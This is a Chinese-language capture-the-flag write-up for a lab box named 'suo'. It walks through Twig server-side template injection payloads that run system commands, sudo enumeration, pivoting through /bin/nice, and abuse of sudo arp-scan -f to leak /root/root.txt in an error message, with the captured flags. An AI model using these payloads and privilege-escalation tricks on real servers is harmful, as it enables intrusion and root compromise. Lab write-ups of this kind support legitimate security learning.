

# | suo

先看首页。页面只有一个输入框 target，提交后会在下方回显一条生成出来的命令，第一反应就是试模板注入。

目标服务器地址

{{7\*7}}

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://49/suo5.jsp
```

那就说明不是普通字符串拼接，而是被当成模板表达式执行了。

目标服务器地址

```
{{constant('PHP_VERSION')}}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://8.4.17/suo5.jsp
```

## 代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

```
{{['whoami']|map('system')}}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://apache
```

```
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

到这里就能确认twig命令执行ssti，直接读入口文件：

目标服务器地址

```
{{['sed -n 1,220p /var/www/html/index.php']|map('system')}}}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http:// '
```



```
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

这里能看到程序把输入喂进了 Twig 动态模板里，是二次渲染导致的 SSTI。  
接下来开始提权枚举。

## 目标服务器地址

```
{{['sudo -n -l']|map('system')}}}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

## 生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://Matching Defaults entries for apache on suo: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for apache: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User apache may run the following commands on suo: (lanyangyang) NOPASSWD: /bin/nice
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

这里看到可以不输密码切到 lanyangyang，但只能借/bin/nice这个程序。那就直接用它执行命令。

```
{{['sudo -u lanyangyang /bin/nice ls -la /home/lanyangyang']|map('system')}}}
```

目标服务器地址

```
{{['sudo -u lanyangyang /bin/nice ls -la /home/lanyangyang']|map('s'
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://total 16 drwxr-sr-x 2 lanyangyang l
anyangyang 4096 Mar 5 16:11 . drwxr-xr-x 3 root root
4096 Mar 5 15:48 .. -rw-r--r-- 1 lanyangyang lanyang
yang 80 Mar 5 15:48 .bashrc -rw----- 1 lanyangyang
lanyangyang 44 Mar 5 16:11 user.txt
Warning: Array to string conversion in /var/www/htm
l/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

能看到有user.txt

# 代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

```
{{['sudo -u lanyangyang /bin/nice cat /home/lanyangyang/user.txt']|r
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://flag{user-da4e2b9944cf4d0389a894c8d718444f}
```

```
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

flag{user-da4e2b9944cf4d0389a894c8d718444f}

然后继续看 lanyangyang 的 sudo 权限：

## 代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

```
{{['sudo -u lanyangyang /bin/nice sudo -n -l']|map('system')}}}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://Matching Defaults entries for lanyangyang on suo: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for lanyangyang: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User lanyangyang may run the following commands on suo: (ALL) NOPASSWD: /usr/bin/arp-scan  
Warning: Array to string conversion in /var/www/html/vendor/twig/twig/src/Template.php on line 359  
Array/suo5.jsp
```

arp-scan的-f参数会从文件里读“目标地址”。如果它是root运行，就可以用它去读取root才能读的文件。

先确认网卡名，不然 arp-scan 会报接口错误：

## 目标服务器地址

```
{{['ip addr show']|map('system')}}
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

## 生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://1: lo: mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 08:00:27:72:1d:cc brd ff:ff:ff:ff:ff:ff inet 192.168.56.101/24 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fe72:1dcc/64 scope link valid_lft forever preferred_lft forever
```

**Warning:** Array to string conversion in `/var/www/html/vendor/twig/twig/src/Template.php` on line 359  
Array/suo5.jsp

```
target={{['sudo -u lanyangyang /bin/nice sudo /usr/bin/arp-scan -f /root/root.txt -I eth0 2>&1']|map('system')}}
```



# 代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

```
{{[sudo -u lanyangyang /bin/nice sudo /usr/bin/arp-scan -f /root/roo
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://Interface: eth0, type: EN10MB, MAC:
08:00:27:72:1d:cc, IPv4: 192.168.56.101 WARNING: get
_host_address failed for "flag{root-8438726c502a452d
997ba300afac30fe)": Try again - target ignored ERRO
R: No hosts to process.
Warning: Array to string conversion in /var/www/htm
l/vendor/twig/twig/src/Template.php on line 359
Array/suo5.jsp
```

让它把/root/root.txt当成hosts文件来读，如果文件内容不是合法主机名，arp-scan会在报错里把读到的内容带出来。

这样就拿到 root flag：

flag{root-8438726c502a452d997ba300afac30fe}